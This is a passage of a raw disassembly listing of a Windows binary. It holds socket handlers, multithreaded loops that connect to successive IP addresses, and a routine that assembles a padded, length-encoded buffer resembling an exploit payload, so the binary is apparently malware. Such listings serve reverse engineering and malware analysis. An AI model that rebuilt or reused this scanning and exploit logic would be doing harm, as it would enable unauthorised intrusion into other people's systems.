; --------------------------------------------------------------------------- loc_40B96B: ; CODE XREF: .nsp0:0040B93Dj push 10038h lea eax, [ebp-10110h] push ebx push eax call sub_41B190 add esp, 0Ch loc_40B980: ; CODE XREF: .nsp0:0040B9A7j cmp [ebp-100FAh], di jz short loc_40B9BD lea eax, [ebp-4] push eax lea eax, [ebp-38h] push eax push ebx lea eax, [ebp-10110h] push 10038h push eax push esi call dword_4E0878 test eax, eax jge short loc_40B980 push offset aRecvfromSocket ; "recvfrom() socket failed" call sub_41458A pop ecx loc_40B9B4: ; CODE XREF: .nsp0:0040B969j push esi call dword_4E0934 jmp short loc_40B9E9 ; --------------------------------------------------------------------------- loc_40B9BD: ; CODE XREF: .nsp0:0040B987j push esi call dword_4E0934 cmp word ptr [ebp-100EAh], 1 jnz short loc_40B9DE push offset aSocketOpen_ ; "Socket open." call sub_41458A pop ecx push 1 pop eax jmp short loc_40B9EB ; --------------------------------------------------------------------------- loc_40B9DE: ; CODE XREF: .nsp0:0040B9CCj push offset aSocketClosed_ ; "Socket closed." loc_40B9E3: ; CODE XREF: .nsp0:0040B91Dj call sub_41458A pop ecx loc_40B9E9: ; CODE XREF: .nsp0:0040B9BBj xor eax, eax loc_40B9EB: ; CODE XREF: .nsp0:0040B9DCj pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B9F0 proc near ; DATA XREF: sub_40BC04+13Bo var_2A8 = dword ptr -2A8h var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax call dword_4F1364 ; GetTickCount push eax call sub_41B840 mov ebx, esi pop ecx imul ebx, 234h loc_40BA37: ; CODE XREF: sub_40B9F0+200j mov eax, dword_4537CC[ebx] cmp dword_4E0A04[eax*8], 0 jz loc_40BBF5 cmp [ebp+var_10], 0 push eax jz short loc_40BA61 lea eax, [ebp+var_150] push eax call sub_40B6EA pop ecx jmp short loc_40BA66 ; --------------------------------------------------------------------------- loc_40BA61: ; CODE XREF: sub_40B9F0+60j call sub_40B6A2 loc_40BA66: ; CODE XREF: sub_40B9F0+6Fj pop ecx mov edi, eax push [ebp+arg_0] push dword_4537CC[ebx] push [ebp+var_3C] push edi call dword_4E0928 push eax lea eax, [ebp+var_28C] push offset unk_4499E0 push eax call sub_41B740 lea eax, [ebp+var_28C] push eax lea eax, dword_4535C8[ebx] push eax call sub_41B740 push [ebp+var_38] push [ebp+var_3C] push edi call sub_40B786 add esp, 2Ch cmp eax, 1 jnz loc_40BBE5 cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_40BB3A push offset dword_4E2A00 call dword_4F1390 ; RtlEnterCriticalSection push [ebp+var_3C] push edi call dword_4E0928 push eax lea eax, [ebp+var_28C] push offset unk_449A18 push eax call sub_41B740 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_40BB1C cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_40BB10 lea eax, [ebp+var_140] loc_40BB10: ; CODE XREF: sub_40B9F0+118j push eax push [ebp+var_40] call sub_408EB9 add esp, 14h loc_40BB1C: ; CODE XREF: sub_40B9F0+FDj lea eax, [ebp+var_28C] push eax call sub_41458A mov [esp+2A8h+var_2A8], offset dword_4E2A00 call dword_4F138C ; RtlLeaveCriticalSection jmp loc_40BBE5 ; --------------------------------------------------------------------------- loc_40BB3A: ; CODE XREF: sub_40B9F0+CDj push edi call dword_4E0928 push eax lea eax, [ebp+var_208] push eax call sub_41B740 mov eax, [ebp+var_20] shl eax, 6 add eax, offset aSym ; "sym" push eax lea eax, [ebp+var_178] push eax call sub_41B740 add esp, 10h cmp [ebp+var_C0], 0 lea eax, [ebp+var_C0] jnz short loc_40BB7E lea eax, [ebp+var_140] loc_40BB7E: ; CODE XREF: sub_40B9F0+186j push eax lea eax, [ebp+var_1F8] push eax call sub_41B740 mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] pop ecx mov [ebp+var_15C], eax mov eax, [ebp+var_14] sub esp, 0BCh mov [ebp+var_158], eax mov eax, [ebp+var_3C] push 2Fh mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_168], esi mov [ebp+var_164], eax lea esi, [ebp+var_20C] mov edi, esp shl eax, 6 rep movsd call off_4492AC[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_40BBE5: ; CODE XREF: sub_40B9F0+C3j ; sub_40B9F0+145j push 7D0h call dword_4F1334 ; Sleep jmp loc_40BA37 ; --------------------------------------------------------------------------- loc_40BBF5: ; CODE XREF: sub_40B9F0+55j push esi call sub_40AB19 pop ecx push 0 call dword_4F1388 ; ExitThread sub_40B9F0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BC04 proc near ; DATA XREF: sub_401CC1+1ABFo ; sub_401CC1+541Bo var_1DC = dword ptr -1DCh var_1CC = byte ptr -1CCh var_14C = byte ptr -14Ch var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_4E08DC mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_4E0A00[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_40B1CC push 0Bh call sub_40AA45 add esp, 150h cmp eax, ebx jnz short loc_40BCD2 mov esi, offset dword_4E2A00 push esi call dword_4F1398 ; RtlDeleteCriticalSection push 80000400h push esi call dword_4F1394 ; InitializeCriticalSectionAndSpinCount test eax, eax jnz short loc_40BCD2 lea eax, [ebp+var_1CC] push offset unk_449A40 push eax call sub_41B740 xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_40BCBC push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_408EB9 add esp, 14h loc_40BCBC: ; CODE XREF: sub_40BC04+99j lea eax, [ebp+var_1CC] push eax call sub_41458A pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_40BCD2: ; CODE XREF: sub_40BC04+63j ; sub_40BC04+7Fj mov eax, [ebp+var_2C] mov esi, dword_4F1334 mov edi, ebx mov dword_4E0A04[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_40BD9F loc_40BCF0: ; CODE XREF: sub_40BC04+195j push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset unk_449A74 push eax call sub_41B740 push ebx lea eax, [ebp+var_1CC] push 0Bh push eax call sub_40A7FD mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_4537CC[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_40B9F0 push ebx push ebx call dword_4F1338 ; CreateThread mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_4537DC[ecx], eax jz short loc_40BD6A loc_40BD5F: ; CODE XREF: sub_40BC04+164j cmp [ebp+var_4], ebx jnz short loc_40BD91 push 1Eh call esi ; Sleep jmp short loc_40BD5F ; --------------------------------------------------------------------------- loc_40BD6A: ; CODE XREF: sub_40BC04+159j call dword_4F1348 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_1CC] push offset unk_449AA8 push eax call sub_41B740 lea eax, [ebp+var_1CC] push eax call sub_41458A add esp, 10h loc_40BD91: ; CODE XREF: sub_40BC04+15Ej push 1Eh call esi ; Sleep inc edi cmp edi, [ebp+var_20] jbe loc_40BCF0 loc_40BD9F: ; CODE XREF: sub_40BC04+E6j cmp [ebp+var_30], ebx jz loc_40BE49 mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi ; Sleep loc_40BDB4: ; CODE XREF: sub_40BC04+250j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_4E0A00[eax*8] push eax call dword_4E0928 push eax lea eax, [ebp+var_1CC] push offset unk_449AE0 push eax call sub_41B740 add esp, 14h cmp [ebp+var_10], ebx jnz short loc_40BE02 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_408EB9 add esp, 14h loc_40BE02: ; CODE XREF: sub_40BC04+1DFj lea eax, [ebp+var_1CC] push eax call sub_41458A mov eax, [ebp+var_2C] mov [esp+1DCh+var_1DC], 0BB8h mov dword_4E0A04[eax*8], ebx call esi ; Sleep push 0Bh call sub_40AA45 cmp eax, 1 pop ecx jnz short loc_40BE39 push offset dword_4E2A00 call dword_4F1398 ; RtlDeleteCriticalSection loc_40BE39: ; CODE XREF: sub_40BC04+228j push [ebp+var_2C] call sub_40AB19 pop ecx push ebx call dword_4F1388 ; ExitThread loc_40BE49: ; CODE XREF: sub_40BC04+19Ej ; sub_40BC04+25Dj mov eax, [ebp+var_2C] cmp dword_4E0A04[eax*8], 1 jnz loc_40BDB4 push 7D0h call esi ; Sleep jmp short loc_40BE49 sub_40BC04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BE63 proc near ; DATA XREF: sub_40BF30+7Bo ; sub_40C021+7Bo var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0BCh mov eax, [ebp+arg_0] push esi push edi push 2Bh pop ecx mov esi, eax lea edi, [ebp+var_BC] push 1 rep movsd pop esi mov [eax+0A8h], esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B190 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_38] call dword_4E08A0 mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_4E091C mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40BF21 lea eax, [ebp+var_10] push 10h push eax push esi call dword_4E084C mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_4537D4[ecx], esi jz short loc_40BF21 push [ebp+var_38] push [ebp+var_28] call dword_4E0928 push eax mov edi, offset dword_4E33C4 push offset unk_449B20 push edi call sub_41B740 push 0 lea eax, [ebp+var_B8] push [ebp+var_20] push edi push eax push [ebp+var_BC] call sub_408EB9 push edi call sub_41458A add esp, 28h loc_40BF21: ; CODE XREF: sub_40BE63+5Dj ; sub_40BE63+7Ej push esi call dword_4E0934 pop edi xor eax, eax pop esi leave retn 4 sub_40BE63 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40BF30 proc near ; DATA XREF: sub_401CC1+57FBo var_134 = byte ptr -134h var_B4 = byte ptr -0B4h var_30 = dword ptr -30h var_24 = dword ptr -24h var_20 = dword ptr -20h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 134h push ebx mov ebx, [ebp+arg_0] push esi push edi push 2Bh mov esi, ebx pop ecx lea edi, [ebp+var_B4] rep movsd mov esi, dword_4F1334 mov dword ptr [ebx+0A4h], 1 xor edi, edi loc_40BF5E: ; CODE XREF: sub_40BF30+ECj push [ebp+var_30] push [ebp+var_20] call dword_4E0928 push eax lea eax, [ebp+var_134] push offset unk_449B48 push eax call sub_41B740 lea eax, [ebp+var_134] push 1FFh push eax mov eax, [ebp+var_24] imul eax, 234h add eax, offset dword_4535C8 push eax call sub_41B1F0 add esp, 1Ch lea eax, [ebp+var_8] push eax lea eax, [ebp+var_B4] push edi push eax push offset sub_40BE63 push edi push edi call dword_4F1338 ; CreateThread cmp eax, edi mov [ebp+var_4], eax jz short loc_40BFCA loc_40BFBF: ; CODE XREF: sub_40BF30+98j cmp [ebp+var_C], edi jnz short loc_40BFCA push 32h call esi ; Sleep jmp short loc_40BFBF ; --------------------------------------------------------------------------- loc_40BFCA: ; CODE XREF: sub_40BF30+8Dj ; sub_40BF30+92j push [ebp+var_4] call dword_4F1324 ; CloseHandle push dword ptr [ebx+8Ch] mov [ebx+0A8h], edi call esi ; Sleep lea eax, [ebp+var_20] push 4 push eax lea eax, [ebp+arg_0] push eax call near ptr sub_41C8D0 add esp, 0Ch push [ebp+arg_0] call dword_4E07D8 inc eax push eax mov [ebp+arg_0], eax call dword_4E089C mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax lea eax, [ebp+var_20] push eax call near ptr sub_41C8D0 add esp, 0Ch jmp loc_40BF5E sub_40BF30 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C021 proc near ; DATA XREF: sub_401CC1+5521o var_130 = byte ptr -130h var_B0 = dword ptr -0B0h var_AC = byte ptr -0ACh var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 130h push ebx mov ebx, [ebp+arg_0] push esi push edi push 2Bh mov esi, ebx pop ecx lea edi, [ebp+var_B0] rep movsd mov esi, dword_4F1334 mov dword ptr [ebx+0A4h], 1 xor edi, edi loc_40C04F: ; CODE XREF: sub_40C021+BCj push [ebp+var_2C] push [ebp+var_1C] call dword_4E0928 push eax lea eax, [ebp+var_130] push offset unk_449B70 push eax call sub_41B740 lea eax, [ebp+var_130] push 1FFh push eax mov eax, [ebp+var_20] imul eax, 234h add eax, offset dword_4535C8 push eax call sub_41B1F0 add esp, 1Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_B0] push edi push eax push offset sub_40BE63 push edi push edi call dword_4F1338 ; CreateThread cmp eax, edi mov [ebp+arg_0], eax jz short loc_40C0BB loc_40C0B0: ; CODE XREF: sub_40C021+98j cmp [ebp+var_8], edi jnz short loc_40C0BB push 32h call esi ; Sleep jmp short loc_40C0B0 ; --------------------------------------------------------------------------- loc_40C0BB: ; CODE XREF: sub_40C021+8Dj ; sub_40C021+92j push [ebp+arg_0] call dword_4F1324 ; CloseHandle push dword ptr [ebx+8Ch] mov [ebx+0A8h], edi call esi ; Sleep mov eax, [ebp+var_2C] cmp eax, [ebp+var_28] jz short loc_40C0E2 inc [ebp+var_2C] jmp loc_40C04F ; --------------------------------------------------------------------------- loc_40C0E2: ; CODE XREF: sub_40C021+B7j push [ebp+var_1C] call dword_4E0928 push eax lea eax, [ebp+var_130] push offset unk_449B9C push eax call sub_41B740 push edi lea eax, [ebp+var_130] push [ebp+var_14] push eax lea eax, [ebp+var_AC] push eax push [ebp+var_B0] call sub_408EB9 push [ebp+var_20] call sub_40AB19 add esp, 24h xor eax, eax pop edi pop esi pop ebx leave retn 4 sub_40C021 endp ; =============== S U B R O U T I N E ======================================= sub_40C12E proc near ; CODE XREF: sub_40C3D0+Ep ; sub_40C3D0+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_40C12E endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push dword ptr [ebp+8] call sub_418D00 pop ecx push eax lea ecx, [ebp-8] push dword ptr [ebp+8] call sub_40C166 mov ecx, [eax] mov [esi], ecx mov eax, [eax+4] mov [esi+4], eax mov eax, esi pop esi leave retn 4 ; =============== S U B R O U T I N E ======================================= sub_40C166 proc near ; CODE XREF: .nsp0:0040C150p ; sub_40C3D0+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi mov esi, ecx push ebx call sub_418ED0 mov edi, eax pop ecx test edi, edi jz short loc_40C198 push ebx push 0 push edi call sub_41B190 push ebx push [esp+1Ch+arg_0] push edi call near ptr sub_41C8D0 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_40C198: ; CODE XREF: sub_40C166+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_40C166 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C1A0 proc near ; CODE XREF: sub_40C29A+18p ; sub_40C314+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi call sub_418ED0 mov esi, eax pop ecx test esi, esi jz short loc_40C1EC push edi push 0 push esi call sub_41B190 push [ebp+arg_4] push [ebp+arg_0] push esi call near ptr sub_41C8D0 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call near ptr sub_41C8D0 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_40C1EC: ; CODE XREF: sub_40C1A0+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_40C1A0 endp ; =============== S U B R O U T I N E ======================================= sub_40C1F5 proc near ; CODE XREF: sub_40C29A+5Ep ; sub_40C29A+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_40C205 push eax call sub_419940 pop ecx loc_40C205: ; CODE XREF: sub_40C1F5+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_40C1F5 endp ; =============== S U B R O U T I N E ======================================= sub_40C20E proc near ; CODE XREF: sub_40C29A+20p ; sub_40C375+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_40C23B xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax call sub_418ED0 mov edi, eax pop ecx test edi, edi jnz short loc_40C23F loc_40C23B: ; CODE XREF: sub_40C20E+Dj xor al, al jmp short loc_40C296 ; --------------------------------------------------------------------------- loc_40C23F: ; CODE XREF: sub_40C20E+2Bj mov eax, ebx add eax, [esi+4] push eax push 0 push edi call sub_41B190 add esp, 0Ch cmp ebx, 1 jnz short loc_40C264 mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_40C27E ; --------------------------------------------------------------------------- loc_40C264: ; CODE XREF: sub_40C20E+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] lea eax, [edi+3] push dword ptr [esi] loc_40C27E: ; CODE XREF: sub_40C20E+54j push eax call near ptr sub_41C8D0 add esp, 0Ch push dword ptr [esi] call sub_419940 add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_40C296: ; CODE XREF: sub_40C20E+2Fj pop edi pop esi pop ebx retn sub_40C20E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C29A proc near ; CODE XREF: sub_40C3D0+89p ; sub_40C3D0+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset dword_4E35D4 call sub_40C1A0 lea ecx, [ebp+var_8] call sub_40C20E mov eax, [ebp+var_4] inc eax push eax call sub_418ED0 mov edi, eax pop ecx test edi, edi jnz short loc_40C2D4 xor al, al jmp short loc_40C310 ; --------------------------------------------------------------------------- loc_40C2D4: ; CODE XREF: sub_40C29A+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_41B190 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call near ptr sub_41C8D0 add esp, 18h mov ecx, esi call sub_40C1F5 mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_40C1F5 mov al, 1 loc_40C310: ; CODE XREF: sub_40C29A+38j pop edi pop esi leave retn sub_40C29A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C314 proc near ; CODE XREF: sub_40C348+14p ; sub_40C365+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_40C1A0 mov ecx, esi call sub_40C1F5 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_40C314 endp ; =============== S U B R O U T I N E ======================================= sub_40C348 proc near ; CODE XREF: sub_40C3D0+F0p ; sub_40C3D0+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_418D00 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_40C314 pop esi retn 4 sub_40C348 endp ; =============== S U B R O U T I N E ======================================= sub_40C365 proc near ; CODE XREF: sub_40C3B1+Bp ; sub_40C3D0+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40C314 retn 8 sub_40C365 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C375 proc near ; CODE XREF: sub_40C3B1+16p ; sub_40C3D0+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_40C20E test al, al jz short loc_40C3AE push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push (offset loc_449F33+1) call sub_40C1A0 mov ecx, esi call sub_40C1F5 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_40C3AE: ; CODE XREF: sub_40C375+Fj pop esi leave retn sub_40C375 endp ; =============== S U B R O U T I N E ======================================= sub_40C3B1 proc near ; CODE XREF: sub_40C3D0+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_40C365 test al, al jz short loc_40C3CC mov ecx, esi call sub_40C375 loc_40C3CC: ; CODE XREF: sub_40C3B1+12j pop esi retn 8 sub_40C3B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C3D0 proc near ; CODE XREF: .nsp0:0040CC2Fp var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_40C12E mov edi, 408h cmp [ebp+arg_8], edi jg loc_40C724 mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_40C724 push esi lea ecx, [ebp+var_30] call sub_40C12E lea ecx, [ebp+var_20] call sub_40C12E lea ecx, [ebp+var_50] call sub_40C12E lea ecx, [ebp+var_18] call sub_40C12E lea ecx, [ebp+var_40] call sub_40C12E lea ecx, [ebp+var_38] call sub_40C12E lea ecx, [ebp+var_28] call sub_40C12E push 4 push offset dword_449BD4 lea ecx, [ebp+var_30] call sub_40C314 push 3 push offset dword_449BDC lea ecx, [ebp+var_30] call sub_40C314 lea ecx, [ebp+var_30] call sub_40C29A lea ecx, [ebp+var_30] call sub_40C375 mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_41B190 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset aRbrbrbrb ; "BBBB" call sub_40C314 push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_40C314 mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_40C314 lea ecx, [ebp+var_20] call sub_40C29A push offset loc_449F38 lea ecx, [ebp+var_50] call sub_40C348 lea ecx, [ebp+var_50] call sub_40C29A push esi lea eax, [ebp+var_858] push 44h push eax call sub_41B190 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_40C166 lea ecx, [ebp+var_58] call sub_40C29A push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_40C3B1 lea ecx, [ebp+var_58] call sub_40C1F5 push esi lea eax, [ebp+var_858] push 43h push eax call sub_41B190 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_40C348 push 4 push offset dword_449BE0 lea ecx, [ebp+var_18] call sub_40C314 push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_40C314 sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_40C314 lea ecx, [ebp+var_18] call sub_40C29A push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_40C365 push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_40C365 lea ecx, [ebp+var_40] call sub_40C375 lea ecx, [ebp+var_18] call sub_40C1F5 lea ecx, [ebp+var_50] call sub_40C1F5 push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_40C365 push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_40C365 push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_40C365 lea ecx, [ebp+var_38] call sub_40C375 lea ecx, [ebp+var_20] call sub_40C1F5 lea ecx, [ebp+var_30] call sub_40C1F5 lea ecx, [ebp+var_40] call sub_40C1F5 push esi lea eax, [ebp+var_858] push 41h push eax call sub_41B190 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_40C314 lea ecx, [ebp+var_28] call sub_40C29A push 2 push offset dword_449F4C lea ecx, [ebp+var_28] call sub_40C314 push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_40C365 lea ecx, [ebp+var_28] call sub_40C375 lea ecx, [ebp+var_38] call sub_40C1F5 lea ecx, [ebp+var_10] call sub_40C12E lea ecx, [ebp+var_8] call sub_40C12E push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_40C365 lea ecx, [ebp+var_10] call sub_40C20E lea ecx, [ebp+var_28] call sub_40C1F5 push offset dword_449F50 lea ecx, [ebp+var_8] call sub_40C348 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40C365 lea ecx, [ebp+var_8] call sub_40C20E lea ecx, [ebp+var_10] call sub_40C1F5 push offset dword_449F54 lea ecx, [ebp+var_10] call sub_40C348 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_40C365 lea ecx, [ebp+var_10] call sub_40C20E lea ecx, [ebp+var_8] call sub_40C1F5 push offset dword_449F58 lea ecx, [ebp+var_8] call sub_40C348 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40C365 lea ecx, [ebp+var_8] call sub_40C20E lea ecx, [ebp+var_10] call sub_40C1F5 push offset dword_449F64 lea ecx, [ebp+var_48] call sub_40C348 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_40C365 lea ecx, [ebp+var_8] call sub_40C1F5 mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_40C732 ; --------------------------------------------------------------------------- loc_40C724: ; CODE XREF: sub_40C3D0+1Bj ; sub_40C3D0+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_40C732: ; CODE XREF: sub_40C3D0+352j pop edi pop ebx leave retn sub_40C3D0 endp ; =============== S U B R O U 